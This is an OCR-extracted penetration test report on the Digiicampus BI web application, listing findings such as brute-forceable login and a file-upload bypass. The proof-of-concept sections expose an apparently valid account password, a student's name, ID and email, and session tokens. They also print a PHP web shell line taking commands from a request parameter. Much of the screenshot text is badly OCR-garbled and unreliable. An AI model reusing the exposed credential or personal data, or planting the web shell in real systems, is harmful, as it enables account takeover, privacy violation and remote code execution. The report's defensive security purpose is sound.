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Engagement Overview

Digiicampus (Herein referred as Digiicampus) has engaged with Scrut Automation to conduct a
penetration test of their Web Application. This report contains all the results of the report as well as
all the action items that were included in the penetration test. The purpose of this reportis to present
the current security level of the external perimeters including gaps, vulnerabilities, and
misconfigurations. The findings presented in this report should be fixed to improve the security level
of the network systems.

Service Description

Web application Vulnerability Assessment and Penetration Testing (VAPT) is the process of
simulating real-world attacks by using the same techniques as malicious hackers. For a security
assessment that goes beyond a simple vulnerability scanner, you need experts in the industry. Scrut
Automation conducts its penetration test by approaching the scope with both a manual and
automatic approach.

Web Application Penetration Test

Our application-level penetration testing consists of both unauthenticated and authenticated
testing using both automated and manual methods with particular emphasis placed on identifying
vulnerabilities associated with the OWASP Top 10 Most Critical Application Vulnerabilities. It is
important to note that a penetration test is not just an automated vulnerability scan, and a large
portion of web application penetration testing is a manual process with a skilled engineer attempting
to identify, exploit, and evaluate the associated risk of security issues.

Project Objectives
Scrut Automation consultants conduct all testing manually combined with custom and commercial

tools that perform unique attack approaches on the network to make sure we cover the whole
system in the test. Our expert knowledge and experience are the value we provide in our services.
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1. Executive Summary

1.1. Summary

This report presents the results of penetration testing and retesting conducted by Scrut Automation.
The team carried out the penetration testing using automated tools and manual checks on BI. The
assessment was conducted at staging Environment. The assessment started on June 02, 2025

The purpose of this assessment was to (i) Test the application to identify technical vulnerabilities and
discover whether a malicious user may leverage these flaws to compromise the security of BI. (ii)
Provide recommendations for risk mitigation that may arise on successful exploitation of these
vulnerabilities.

The subsequent sections of this document provide statistics of the vulnerabilities identified, severity
and proof of findings of Bl. The detailed technical findings section constitutes identified
vulnerabilities with recommendations to mitigate security risks associated.

1.2. Approach

e Exploring various application functionalities to enumerate threat & vulnerability in alignment
with Open Web Application Security Project (OWASP) Top 10 vulnerabilities.

e Performing information gathering/ fingerprinting to identify software used|/ its version, web
server details, ports, and services open, etc.

e Performing vulnerability scanning to identify common vulnerabilities in the application layer
and by using Burp and various testing tools in the Kali Linux distribution in conjunction with a
range of manual analysis. It should be noted that customized payloads and attack vectors were
configured in Burp Suite to further enhance the identification of weakness in the application.

e Analysing the automated scan results for any vulnerabilities and ease of exploitability and
providing proof of concept where safe exploits are possible.

e Post-Exploitation process will be performed once we get access to the device using identified
vulnerabilities/exploits.

e Reporting identified vulnerabilities and recommended solutions to mitigate them; for ease of
mitigation activities for application support personnel/ developers’ further details of CWEs
were added.
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This report and any supplements are Confidential and may be protected by one or more legal
privileges. It is intended solely for the use of the relevant IT personnel in the organization. This
report is prepared based on the IT environment that prevailed in the period of assessment. This
report is not a guarantee or certification that all vulnerabilities have been discovered and reported
in the findings. Subsequent reviews may report on previously unidentified findings or on new
vulnerabilities. The sample screen shots should not be treated as the final vulnerabilities. Gaps
which we have identified can also get replicated in any part of the infrastructure. Organization
should ensure that the Vulnerability Management Program should be adapted continuously rather
than fixing just the issues identified within the areas of BI.

1.3. Disclaimer

1.4. Limitations

The Scrut team did not have any limitations for this engagement.

1.5. OWASP TOP 10

e Broken Access Control

e Cryptographic Failures

e Injections

e Insecure Design

e Security Misconfiguration

e Vulnerable and Outdated Components

e Identification and Authentication Failures
e Software and Data Integrity Failures

e Security Logging and Monitoring Failures
e Server-Side Request Forgery

1.6. Scope

The scope included the following IP Addresses / Systems for vulnerability scanning and penetration
testing.

Web Application Details:

1 Bl https://bi.digiicampus.com/
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1.7. Standards

OWASP: The OWASP web application security testing methodology and explains how to test for
evidence of vulnerabilities within the application due to deficiencies with identified security
controls.

The test is divided into 2 phases:
Phase one Passive mode:

In the passive mode, the tester tries to understand the application's logic and walkthrough with the
application.

Phase two Active mode:
Information Gathering
Configuration and Deployment Management Testing
Identity Management Testing
Authentication Testing
Authorization Testing
Session Management Testing
Input Validation Testing

Error Handling

Cryptography

Business Logic Testing
Client-Side Testing
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1.8. Vulnerability Scoring

The Risk level is divided in four categories:

Critical vulnerabilities provide attackers with remote root or administrator
Critical capabilities. Malicious users have the ability to compromise the entire host. Easy
to detect and exploit and result in large asset damage.

Exploitation of the vulnerability discovered on the system can directly lead an
attacker to information allowing them to gain privileged access (e.qg.,
administrator or root) to the system. These issues are often difficult to detect
and exploit but can result in large asset damage.

The vulnerability discovered on the system can directly lead to an attacker
gaining non-privileged access (e.g., as a standard user) to the system or the
vulnerability provides access that can be leveraged within one step to gain
administrator-level access. These issues are easy to detect and exploit but
typically result in small asset damage.

The vulnerability discovered on the system provides low-level, but sufficient
data to the attacker that may be used to launch a more informed attack against
Low the target environment. In addition, the vulnerability may indirectly lead to an
attacker gaining some form of access to the system. These issues can be difficult
to detect and exploit and typically result in small asset damage.
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1.9. Key Findings

Vulnerability OWASP TOP 10 Severity Re-Test

Status

Password guessing via Brute force attack Broken Access Control High FIXED

Exploiting Metadata by File Upload vulnerability | Software and Data Integrity Failures High FIXED

Broken Access Control via Parameter Tampering Broken Access Control High FIXED

TLS Version 1.0 & 1.1 Protocol Detection Cryptographic Failures Medium FIXED

Application vulnerable to Sweet32 Attack Cryptographic Failures Medium FIXED
Local Adversary can hijack authenticated sessions Identification and Authentication Medium | BUSINESS
due to High session In- activity period Failures USE CASE

WEAK Cipher (3DES)/IDEA & Obsolete CBC Cryptographic Failures Medium FIXED

ciphers supported
Content Security Policy header does not present Security Misconfiguration Low FIXED
Application is potentially vulnerable to LUCKY13 Cryptographic Failures Low FIXED
attack
Arbitrary HTTP methods enabled Security Misconfiguration Low FIXED
Application is potentially vulnerable to BREACH Cryptographic Failures Low CLOSED
attack
Vulnerable version of Java Script Library Found Vulnerable and Low OPEN
Outdated Components
HTTP Strict Transport Security not configured in Identification and Authentication Low FIXED

Application

Failures

Definitions:

Open: The vulnerability has been identified and documented, but no action has been taken to

address it yet. It requires attention and mitigation to reduce the associated risk.

Fixed: The vulnerability has been successfully addressed, and the necessary steps have been

taken to eliminate or remediate it. Appropriate measures, such as applying patches or updates,

have been implemented.

Closed: After thorough assessment, it has been determined that the reported vulnerability is not

applicable, is not valid, or does not pose a genuine risk. No further action is required, and the

vulnerability is considered closed.

Business Use Case: After thorough assessment, it has been determined that the reported
vulnerability is not applicable, as this is required by the client application to work, is flow, or

business logic required by the application
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1.10. Vulnerability Graph

Vulnerability Status

= Fixed = Open
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2. Findings

Severity: HIGH
Retesting Status: FIXED
URL:

bi.digiicampus.com/

Description: Password guessing via brute force attack is a common method used by

attackers to gain unauthorized access to user accounts or systems by
systematically attempting various combinations of passwords until the
correct one is found.

Impact: Attack can easily do automated password guessing attacks can be tried

against user accounts. There are tools that try to brute force user
accounts by trying many passwords for a given username.

Recommendations: It is recommended to implement a captcha mechanism or locked out

mechanism in application Login Page.

References: https://owasp.org/www-
community/controls/Blocking Brute Force Attacks
Step To Reproduce e Navigate to Login Page as you can see there is no captcha on login
page

e Intercept the request of login User that requests to perform the
brute force attack

Proof of Concept:
Request Payload Status code Response ... Error Timeout Length Comment
o Hlayuuy £uy S0 1014
63 pokemon 200 403 1606
64 pretty 200 292 1603
65 princess 200 444 1605
66 purple 200 37 1602
67 Digii@156 200 47 26454
63 gazTWsK 200 424 1609
69 qwerty 200 423 1605
70 roberto 200 473 1611
Request Response H
Pretty Raw Hex o B n =

2] Host: bi.digiicampus.com

| P Ty = = 3 icate HTTP/Z
3 Cokle:. _ga-FAL.C.l-007en77.17489260664,; _gid=GALl.Z. B3Z3E52875. 17485256647 _gac=1; _ga SEQJCKENM7=

S

[TUI= I - ]

o
oo

GEZ. 2. 517485288805 025g05c17485288855 7605 105h0; amplitude iddigiicampus. com=

ey Ik ZEp T VIZCIE I e ke OWUy LW O Ym It D USMi 1 i 0ODVh L TYeZ2 cwEZD e SNW I xMVIi LT 1o 2V EW i 0nS 1 b Gws InSwdES LACTEEnFs o ZUs Tndl
1e3Nph 28I ZCIENTe 00Dy 0D gdNT g4 MCwib GF=dEVIEWS0VGIE ESTEMT 00Dk w Ok xMD Q2 My wi ZHEZ 1 bnEJZCIEMiwi aWR 1 bnPp Znl JECTEMCwic D
VadWTuTZVOdWliZHIioJs

Content-Length: IZ41

Sec—Ch-Ta-Plat form: "Windows"

Accept-Langquage: en-US en;qg=0.9

Accept: application/json, text/plain, */*

Sec-Ch-Ta: "MNeot.A/Brand";w="55", "Chromium";v="13g"

Content-Type: application/json;charset=UTF-2

Sec—Ch-Ta-Mobile: 0

User-Agent: Mozilla/5.0 (Windows HNT 10.0; Wingd; x64) AppleWebhKit/537.36 (FHTHML, like Gecko) Chrome/136.0.0.0
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Request Payload Status code Response ... Error Timeout Length Comment

o Pdyuoy g =30 10015

63 pokemon 200 403 1606

&4 pretty 200 292 1603

65 princess 200 444 1605

66 purple 200 37 1602

&7 Digii@156 200 47 26454

63 qazwsx 200 424 1609

69 qwerty 200 423 1605

70 roberto | 200 | 478 1611
Request Response H
Pretty Raw Hex Render ®Wy n =

S20gx=0"

recv_byt,es=29842.'idelivery_rate=9?9'?§8£cmd=25E&u.n;ent._byt,es=0.‘;cid=a8h facebBZcoSf04dets

{
"res'":{
"token":null,
"user":null,
"message": "MISHMATCH"
"errorMessage":"The email/ phone/ registration id and password do not match",
"remainingLogins":null,
"yserVerificationftatus" - nuall
"lockedAtTime" tmall,
"oredentialsMismatchCount" null,
"admissionFormFilled" :null,
"interestedProgrammeSelected" inull,
"featureFlags":-mull,
Request Payload Status code Response ... Error Timeout Length Comment
oL Playooy A “S4ou o4
B3 pokemon 200 403 1606
54 pretty 200 292 1603
65 princess 200 444 1605
=5 purple 200 371 1602
67 Digii@156 200 L 26454
% qanwsx 200 484 1609
69 qurerty 200 423 1605
rit] raberta 200 | 478 1611
Request Response :
Pretty Raw Hex Render n =
Eraaa—
25
"res": |
"token":

"eyIhbGoidiJIUsI1lNiJS . ey Ipe3MidiJodHRWOiBv T 29 shHEvh Gwu Y 28 Tiwie3Wiljoli Il enMvMTASM T el iwidilc pZCIEMTASM I Y=L
CI1lhWFphCIE InTwlnMx G lhaWxpbnFO0h2TuY 29 TiwieChwlbnUidiTEME050De ZND Ty M4 Tiwi T le IS cCUidiJ=dHVEZWE DT iwi dmiy
AWERY ZF0aWsulUZPhdHV=l joiliwibnFocZSI6 I INVUFJESEk EgVCELVULIEUi Is ImFkhbWlulnSs ZX i 0 lsi QUEZQTiwiTOVOTIl0s Inp0asST& Ink
IMD I x4 LWy UTe NGY4HS 052 Tgx LTHhE J gw W4 NGEWy Is ITm 1 hdCIENT e 00Dk vODE IMCwiZkhwI JoxNsQSHTUsNTUw £0 . amBEFFg3zR0
SPJapCEFPTHNZC 0wnTM vlleE fMLvSDaMg" ,
"user": |

"mame": "SUPERAJA T FUMAR",

"registrationId":"l4mcell72800EE",

"email":"cp.slinailinator. com",

"rolllfmber":-null,

"intPolllhumber® cmull

"sectionName":"ME Software engineering-Z0Z1-Default".

digiicampt

Digii

Admission Process

Form Submitted Fees Paid
08 Dec 04:45 pm 09 May 02:12
SUPRAJAT KUMAR o
14mee11780086
MS Software Engineering
Your love makes me strong, Your hate 2 Post 9 Ask question P2 Add event
makes me unstoppable
N Show only Saved Posts My Posts Category ~ Booth -
{n} Home
4L Profile ﬁ Butterfly Innovations .
26 May
[T ciassroom
nttps://demo.butterflyinnavations.colfeed 4
# Academics
Digiicampus
[E course Registration

demo_butterflyinnovations.co
Research Management

[}

' Feedback Posted by Colipoll Admin

)| Examinations A Upvote © Comment A Share

i/ Online Exam
m Butterfly Innovations

P Calendar 71 Mav
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Retest Proof of Concept:

Request Payload Status code Response ... Error Timeout Length Comment
62 playbaoy 500 236 2030
63 pokeman 500 214 2030
= pretty 500 195 2028
65 princess 500 157 2034
66 purple 500 310 2030
&7 ¥9Vq!40yal\W358 500 290 2030
68 QaTWEX 500 189 2040
69 qurerty 500 295 2034
70 roberto 500 157 2028

Request Response

der w n

Pretty Raw Hex Re

Wel: {"success_fraction":0,"report_to":"cf-nel",K "max_ age":E04800}

Strict-Transport-Security: max—age=31538000; includeSubDomains; preload

Server: cloudflare

25 Server-Timing:
cfld;dese="proco=TCParct=31183amin ree=171886rtt_var=12747asent=428arecv=3858lost=0aretrans=04sent_hytes=13&500
Zerecv_bytes=113878adelivery rate=194314%sowvmd="57aunsent_bytes=0&cid=93ca%50alefEb4bhaits=2065ax=0"

{
"timestamp":"I0Z5-07-I8T0E:07:08.480+00: 00",
"status": 500,
"error":"Internal Serwer Error",
"message":""
"path":"/rest/service/authenticate"

}
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Severity: HIGH

Retesting Status: FIXED

URL: bi.digiicampus.com/studentManagement/details/

Description: A file upload vulnerability occurs when a website or application allows

users to upload files but fails to properly validate and sanitize the file
metadata, allowing malicious users to upload files with malicious
content or execute arbitrary code. The application performs check
(jpeg/png) based on the meta data. It is possible to upload a php script
by exploiting the metadata in the application.

Impact: An attacker could embed a script in the metadata that would download
additional malware onto the server, steal sensitive data, or perform
other harmful actions.

Recommendations: It is recommended to ensure that all file uploads are properly validated
and sanitized, including the metadata. This can be done by using strict
file type checking, limiting file size, and filtering out any known
malicious content.

References: https://owasp.org/www-
community/vulnerabilities/Unrestricted File Upload

CWE-434: Unrestricted Upload of File with Dangerous Type
Step To Reproduce e Create a php file with malicious command and embed the png
metadata in the file

e  Magic byte of .png: 0x89 ox50 0x4E 0x47 0xoD 0x0A 0x1A 0x0A

e Use cmd: echo -n 0x89 0x50 ox4E 0x47 oxoD oxoA ox1A oxoA >
metafile.php.pdf

e Navigate to a documents in application and upload the file in
upload file.

e Intercept the request and change the Metafile.php.pdf to
Metafile.php and save it.

e You can observe that the application has not sanitize the metadata
in the saved metafile.
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Proof of Concept:

Request

Pretty Raw Hex w \n =

Auth-Token:

eyThbCoiliJIU=IINLiTS . ey Jpe3MiliJodHRwli v T 29shHEBvhCwuY 29t Tiwie3Viljoi Ml ent v MTAEN I ¥ wIividWep ZCIEMTASMI YwLC T 1bWFph C 16 InlwlnlhMUBL YWl s aWShdGs
YInlvhETs InBob 281 Tj0i 0TEL 0D gDV wMDAIMy Is InVeZXJUeXB1Tjoi Y2 9shHBvh Gwt YWRt aW4 i LCT 2 EHIpZm ]l J¥ X Ppbh 28 TAGFOAX M 0iTiLCTUuYWI1Tjoi 2 9shHBvh Gug TEFkLW L
VIiwiTWRL aWs5hZxleyIeWy JEREELILCJEREUILCIJEREOLLCIJERFIALCJERFMILCJERIAILCIESVIALCIJEBSVeiLCJETUELLCJEUELILCIJEUFc i LCJEUL JiLCJBUk giLCJEULAL LCJEVEN
iLCJEVEULiLCJEVEDLLCICQVOiLoIC 0k QiLeICOLIiLCICTUMALCICTUMALCIDGLIiLCIDQIMiLCIDQleilCID TS Is KNS IsIkNPTiIsIENPULIsIkNQUiTls IENQVy IsIKNSREIsTEN
TTEIsIEREEVyIsIkPDULiIs Ik DVyIsIkREQEISs I REVyIsIERFVyIsIERLVyIs Ik Ry Is Ik ENVyIsIEROUils TR RPRC IS IRRGQS Is Ik RQUils IR RQVy IS IEREQEIsIRRTOSIs IR RTULT
sIkRTVCIs Tk RTUy Is Tk XUy IsTEVD Ui Is TEVFTS Is TkVFUv I s Tk UNUi Is Tk Uy Is TEVUTSEIs Tk VY TETs Tk EBUi Is Tk ZEVy Is Tk ZDUi Is TkEFRE Is Tk ETJ 08T s Tk ZITCIs TR EMVETSTEE
HNUilslkZNUyIsIkZ00vIsIkZ00yIsIkZ5REIsIkE5VilsIkdPRyIsIkdQTSIsrdiUyIsIkhEUyIsIkRIUils IkhIVyIsIEhUJSIsIkhUTCIsIk1DTCISs [K1EQyIsIk10TSIs IEpligy L
sIkCPECIsIkxCVEIsIkxEliwiTFEEIiwiTFETIiwiTFRTIiwiTUI NI iwiTULFIiwiTULTIiwiTVEBE I iwi TVEXIiwiTVI I iwi TV ST iwi TVHUIiwiTVIAI iwi TVARTIiwiTEkFQIiwiTkER
NIiwiTlEETiwiTlPRDIiwiTlREIiwiTOJEIiwiTOJEliwiTOJTIiwiUEFEZIiwiUEZEIiwiUEEXIiwiUEREIiwiUERHIiwiUExBIiwiTEOiLCTIQTUULLCIQTVYiLCIJQUEELILCTIQUFMALCT
AVEDiLCISTUMiLCISUCTIs T1II0Ui IsTINEUi IsTINEVy IsTINDECTIs T INGUiIs TINMTETs TINMUVy IsTINSRETs TINEViTs TINUQS IsTINUTi Is TINUTy Is TINVUCIsT 1 REUiTs T1REVY T
sIIPDUiIsI1RIOyIsTIROTEIsT IV IiwiVIl TIiwiVVALILCIWOUMiLCIWOiIsI1ECRCISTIEDECIsIlZEGRCIsIIZIUyISTIIZEQTCISIIpEOwTdLCTqdGkidiT00TIIMTEEZCIuMIEILTO
WITeoODRINC LANZViTTRIN =Y TgiLCIp Qi 0  ESNDg S UINTESs InV4cCIEMT cO0 TULIDMIM0. YOcHIDCGREFcKFZ3ipVoTCEL4ac g4 5 e TINCY qphb ol

Sec-Ch-Ta-Mobkile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x£4) AppleWebFit/527.26 (KHTML, like Gecko) Chrome/12£.0.0.0 Zafari/f537.326

Accept: applicationSjson, text/plain, */*

TYFeT—=FF T oty e =UTF-8
Origin: https://bi.digiicaupus.com 1

TETETCN-SITE SaES-CTIgIN
Sec-Fetch-Mode: cors

Sec-Fetch-Dest: enpty

Referer: https://bi.digiicampus.con/studentManagenent/adnin/edit/138178
Accept-Encoding: gzip, deflate, br

Priority: u=1l,

sSynchronous
"shouldStrean": false

Request
Pretty Raw Hex o - o=

Auth-Token:

ey ThbGeidid ITzI1NLT 9. eydpe3MioidodHRw0iBvY 29 shHBrhGwuY 29t Tiwie3Vil]odd Nl enMwMTASHM] Vol ivi dWEp ZCIEMTASM) ¥wLC T 1bWFpb C 16 InNwLnNhMUBE YWl s aW5shdGS
YimNvhSIsInEokZE1lljoidTEC ODgxMDYwMDAZ Ny IsInVaZKIUe Bl joiT 28 shHEvh Wt YWRE aW4iLC I 22X IpZnl VX Pph 28 TAGF O Mi0iTiLCTuYW11lIjoi0 2 9shbEBvh GwgIEFELWL
uliwiYWhtaWssk 1leyI6WyJBREEIiLCIBREUiLCIJEREOiLCIJERFTIiLCIBERFMiLCIBRIAILCIJESVIiLCIESVei LCIJBTUELILCIBUEQiLCIJBUFciLCIJBUEQiLCIBUkgi LCIBU1AI LCIJEVEM
AiLCIBVEUiLCIJBVEOLiLCICOVOiLCICOkQiLCICOLITIAiLCICTUMAiLCICTUMiLCIDOLlTIiLCIDOIMiLCIDOleiLCIDTSISIENNOSISsIENPTils IENPULISsIENQUiISIENQVyIsIENSREI s IR
TTEIsIkIEVyIsIkPEDUils Ik REDVyIsIkREQSIs Ik REVy Is Ik RFVy Is Ik RLVyIs Ik RN Ry Is Ik PNVy Is Ik ROUi Is IR RPRCIs IR ROQSIs IR RQUiTls IR RQVy Is IR RSQSIs IRRTQSTIs IRRTULT
sTERTVCISIFRTVyIs Ik ENVyIs IkVDUils IEVFTSIs Ik VFUy Is Ik VUi Ts IkVNUyIs IEVUTS Is IkVYTS IsTk ZBUiIs Ik ZEVyIs Ik ZDUiIs Ik ZFRS Is Tk 2I0SIsIRZITCIs IREMVSIs Tk 2
NUilsIkINUyIsIkZO0yIsIkZ0QyIsIkZSRSIsIkZSVilsIkdPRyIsIkdOTSIsIkdiUyIsIkhEUyIsIEhTUiIsIkhTIVyIsIEhUQSIsIkhUTCIsIEIDTCISIR1EQyIsIk1OTSIsIkpNOyT
sIktPSCIsIkxCVSIsIkxEliwi TFEETiwiTFETIiwiTFRTIiwiTULHIiwi TULFTiwiTULTIiwiTVEETI iwiTVER I iwiTVIHIiwi TV S TiwiTVNUTiwiTVHHI iwiTVAXIiwiTkFQTIiwiTkR
NIiwiTlBETiwiTlRDIiwiTlRETiwiTOJBTIiwiTOJETiwiTOJTIiwiUEFElimiTEZSTiwiUEZXTiwiTERSTiwiUEhHIiwiTExBTliwiUE0iLCIQTUTiLCIQTVYiLCIQUEELLCIQUFMiLCT
QVEDLiLCISTUMALCISUCISIIIOUiIsIINEUiIsTIINEVyISsIINDSCISsIINGUilsIINMTSIsIINMVy ISsTIINSRSISsTIINSVilsIINUQSISsIINUULiISsTIINUTyIsTIINVUCISTIIRETiISTI1IREVYT
sI1PDUiIsTIRIQyIsTIRgTEIs TV IiwiVUl T IiwiVVALILCIWQUMiLCIWQiTlsI1ECRCISTI1IZDSCISsIIZGRCISIIZIUyIsIIZQTCISsIIpEQy JdLCIgqdGki0iI00TIIMTESZCInjL2LTQ
WYTetODRINC1iNoViVTRINIM=Y Tgi LCTp¥HQi0] E3ND g5 USNTES InV4cCIEMT 00 TUIMDMIMHKO  ¥0cHSDCGREFheKFT3ipVa7CEL4ac g4 5 THRHY qpboll:

Sec-Ch-Ua-Mckile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4, x&4) AppleWebKit/537.3& (FHTML, like Gecko) Chrome/13£.0.0.0 Safari/537.3&

Accept: application/json, text/plain, */*

Content-Type: application/json;charsec=UTF-8

Origin: https://bi.digiicampus.com

Sec-Fetch-Sit
Sec-Fecch-Mod
Sec-Fetch-Des empty

Referer: hteps://bi. digiicampus. com/studentManagement/admin/edit /138178
Accept-Encoding: gzip, deflate, br

Priority: u=l, i

same—origin
cors

"fileName"

"Metafile php" ,|I

T padf”,
"feature":"CLASSQUIZ",
s false,

false

%t 5

Recent download history

Religion

. Full download history
Domicile

Documents

Leaving/Transfer Certificate

Metafile.php

Migration Certificate

Gap Certificate (For Students Applying After
Gap Since Passing H.S.C)

Caste Cerlificate & Caste Validity Certificate
Family Income Certificate

Non-Creamy Layer Certificate
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[_sena &

Target: https://bi.digiicampus.com | &

= = | |pspector = =

Request Response
Pretty Raw Hex ® n Pretty Raw Hesx n Request attributes
POST /rest/attachment/generateGetSignedUrl/130332 HITP/Z 21| Repore_To: T
Host: bi.digiicanpus.com " o ("endpoints’: [("url": "https:\/"/a.nel.cloudflare. com'/report’/vdls= | Request query parameters
Coclie: _ga=GAl.Z 120878877 17485258845 gld= Jyeel0AWitipOel rtMCenp R EQNEWO CVEH2EUXE iKuty FLMS P4 ZEGnM1 PuHOsuss EETRY
GAL.2.532352875. 1748925664 ; user= SR IOPHCE SWqsHIUT uB»haBns v T AniB4Sgprsl]
eyThbEei0iTTUZTINGTS . eydpe3MioidodHRwiBwY2S shEBvh GwuY 29t Tivie3Vil] SpsqraDaaD ), o fomelr. tmas agen: 04600} Request bady parameters

04 AL enlvHTASIS Tuliwi AWt pZCIENTASH] YwLC LbWEph C1E Tuths LulTiMUBE YW ls a Nel: ("success fractiom®:0,"report Eo':"cf-nel", 'max_age’:£04800}
WShdGSyLmlivhSTs TnBoh 51T 040 TECOD gD YWD A3y Ts TnVaZXIUeXBE1TI0i¥29s Server-Timing: " - . = o R
- - - : equest caokies
BHBVH GWE TWET aW4 1 LI 22X pZml I YXRph 25 TAGFOMMi0i T1LEJuYW1 1T 01029 ShER “fL4sdescs"1provo=TCPirce=17560emin, ree=17424arece_var=5141csenc-8er q
wbGwgIEFEbULuTiwi YWRE aWSShx Loyl SWyJBREEL LCIBERUSLCIBRED: LEIBRFTLLC StvsloglosteOiretrans=O&sent bytes=BO03aracy bytess4£304dslivery rat
JERFMiLCIERIAILCIESVIiLCIESVeiLCIETUELLCIBUEQiLCIBUFeiLCIEULQiLCIBY e=135657¢cund=25cunsent_byt es=0acid=7cObo o152 19e0det s=13085=0" Request headers
1rg1iLCIBULAILCIBVEMI LCIEVEUi LCIBVEDiLCTCAVAiLETCAlkQiLeICal TiLCICTUM =
LETCTUMALEIBQ1TiLCIDQIMILCIDELeiLCIDTSTSTRNNGSTSTRNPTA TS TENPUL IS TN

1

QUAiTsTENQUyTsTkNSRSIsIRNTTSIsIkEBVyIsTkEDULiIsTkEDVyIs Tk PEQSIs TR REVyY me. Respanse headers

IsTERFVyTs I RLVyTs I BBy Ts i PNVy s I ROUL IS TRRPRCIS I RQUSIs [k RQULIs

%ROVyIsTkRSQSIsTHRTQSISTRRTULIsTHRTVCI s ThRTVy T T RXWy I T VDUL Ts TEVE "Metatile.php

18 N "location':

;I | Metafile - Notepad - o IS "testattachments. collpellffcollege-36/user-109260/16d8b7E

4815£410254055 £77 £=9£a£dS_C050603_044473_36_109760_Hetaf

<[ File EdT Format View Hep e ! 36~ Her

T RFNG eyp application/pdf",

3 "sizen:53.0,

2} THDR n

ER "videoThumbnail® mall,

0 "document.Td": 456051,

? <?php echo system($_REQUEST["cmd"]);? "turnicinld’:null,

"error’:null
e I
"signedUrl®:

e "heeps://s3.us-west-2. . com/tes 2 _eollpell/e

s ollege-36/user-109260/16d8bT 4815 £412294058 £77 £2 8 £a£dS_2025080

bt | 2 044423 36 1059280 Metafile.php?response-content-disposition=a
7 & Blells! | searn £ dhiakliahts

Retest Proof of Concept

Request
Pretty Raw Hex

ZoWlecnxASCuVl-nYacS2 £C2PuVT_HErBEzudVEAt 1011 7ThCMe AQHnN L (nEpallc 2P eSS gBWe YhzdSMExPdyiusIvlvi rJEsr IN_aNih_vI1JghDXequiTvemecZoUlAREk jnSB£8Tc 0Ty
GH5=TQTwENEL Q2 Burx_ 33 dUTuL COWqewD GHI Q7 1R7 ThMEuBk cz80¥ alkoal EnBeM5 1BdUs r SuySKY TUMI 5 i BrAANAEZNML g2 dsVe] felasKilicikeiyypesuo TAgrEMiS 3 —evTnsWz
v gEAZINEPLEEr 5 fHbLSHE qD0obmelw] £iU_wFhA]4VE] £8yvaIEveyse3nTRTwgFpCRThETroEd q20aC ckWuge xghlivel £6YATScEccHCWORRCE LeF fx oUSyVDZw_HDNHezSeHa 5V -x
=vri7QLDbgel YOFgxi gt LeZkM1d 4k g4QKiMS79FHCgqpVBp00TL=EloouTkL_ckgfZ HESE0IsNLO5Q£G4gEMxWYHIEP] all RUOy TDv fHIWAeBKIUTix LuqZWhA 7Tk 7-4yxeHolxlqoh3
PODvoRgPEyMazuTTSDELUB quEyesXeY 100 £ 2wk UgT CZuo Su-SunUey el 5zl 0us Tye SwKSHOT-LO1Ek d4nEs aGL TS 2Re dDBwewvPBSgxlknl B9 5CSHAU_1yes_Z_gFdnIWuvab £IElni
goEmS07iZE £DLbnIC fLApE Ot asul imE 1 G8zgDwED SyoYak (pvhlMeD LETFOL Tk GqTonMGS £InT P~ Thup FDEU1IKELb 8 xwulhEnTVgS Y4 ThCulKqz23-53W_saFEC0VIGERE] QD 10p1opH
a0p-5yEl-_9-UyTe-s5vHNTLOcI 1l rKslVDSHNbOCE——gP5GEQ19nEVHoT Re0Ebno Tx GRKE L2 Yng¥GSk 103 EnRLUgE-LHB gL gNsESH-PHKS_zbe_AyPelod7deUlEWAMOYyhNYELLyb 30
FhTOHNPXwwE 2y WRS TFRPET 2 g TAMGIXS Jo8 aXCw_CyeB0gqox 2wREnENUFzFigaE44al fETS TvaxD4ncvr TO-ALKaiUPuY_STES40wdiGAEBQSvvTrISTEkReZPs—Uckeal FIVTry £8Da
T3LO-dNFKLAThdr £CX8 1 Em0sxw 5 =ME Svir X Y8nx_USdSskrseMLxwi3p) 2 £702] Foi cuvXsMCbwEs EXmKSD 05— £2 TEr WkmGaTAOne Z4KFNGyerr 0k 25 Lodldt_kATkirleZ_fuF52id
QCYeTZNN_Jshl95 fVDgELHACK_ 3CWIEwg0Ge hMawyYoAS 2o Fiwnm SenYHAFE 58Un] £3 TWpHATxxr 2 AUnThVHMEwKO T LTI 752 sKrD2aB 2183 £ IxmsnT 2 Ty SKIKUNwi BA *BawenT
QOLZLAWILEVLEOSaTEajwMArmAih(02Tt oy WAnSFp THTROY4 iullx Fiak 5U_N1hyK7E] EDLl1lncEckowYoenyWsik_vVEQkZaXEPEakWREZ ] £Uve £aTv0SW1T eBENL4 N1 SVEuvsh CEASND:
NQhEZD iG] gHhOpXomHy=9_GwfZui7zuaFelUOAYSaLlEeMy58GSpwgCh_TvTLE3ugqeGOEs4b51L4Ws gz fAVI ad g6t s1T3TAKLCnawPWr £PChdd sallcc fc01BL20UTHE 173 1DNZyDUE SwrwD
i7CwCE_tA3ITYP3TiTaBry8eBnt FKEVEIVC1lgdddxelivwaVs. 0_hSr 17TFeun—Smpull £ B

5 Sec—Ch-Ua-Mcbile: 70

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

Accept: application/json, text/plain, */*

1> Content-Type: application/json;charset=UTF-8

Origin: hoops://bi.digiicampus.com

Sec—Fetch-Site: same—origin

Sec—Fetch-Mode: cors

Sec—Fetch-Dest: empty

Beferer: hettps://bi digiicampus. com/studentManagement/admin/edit/159812

Accepr-Encoding: gzip, deflate, br

Priority: u=l, i

21| {
"contentLength":53,
vfileName": "Metafile. php.pdE",
"contentType": "application/pdf",
"feature":"CLASSQUIZ",
"isSynchronous': false,
"shouldStrean": false
}
@ Intercept on € Forward | hd Drop ~ Response from https://bi.digiicampus.com:443/rest/attachment/generatePutSignedUrl [104.26.9.162]
u si. Inspector
Request Response
Pretty Raw Hex o= Pretty Raw Hex o= Request attributes
3 F i euvisMobwhs EXuKSD Co- - £2 TErWnCaTAlne Z4KEN Gy rrlr 38 Ladlde_JcATkir unsafe-sval' data: blob: https:; seript-sre 'self' ‘unsafe-inline'
NEZ_fuF53iAQCYeTZNN_JshlSEEVDgELHACK 3CWISwgOCE ShMxwyYoehSZS FIlivmms ‘unsafe-eval' data: blob: https:; style-sre 'self' ‘unsafe-inline’ Request cookies
=nVHEFE 58Un] £3 TUpHATxXr 2§ AUnThUMSwEO JELvYI 752 sEkDIaBI1 S r TmenT 2 TyS data: blob: https:; img-sre 'self' data: bloh: hteps:; font-sre &
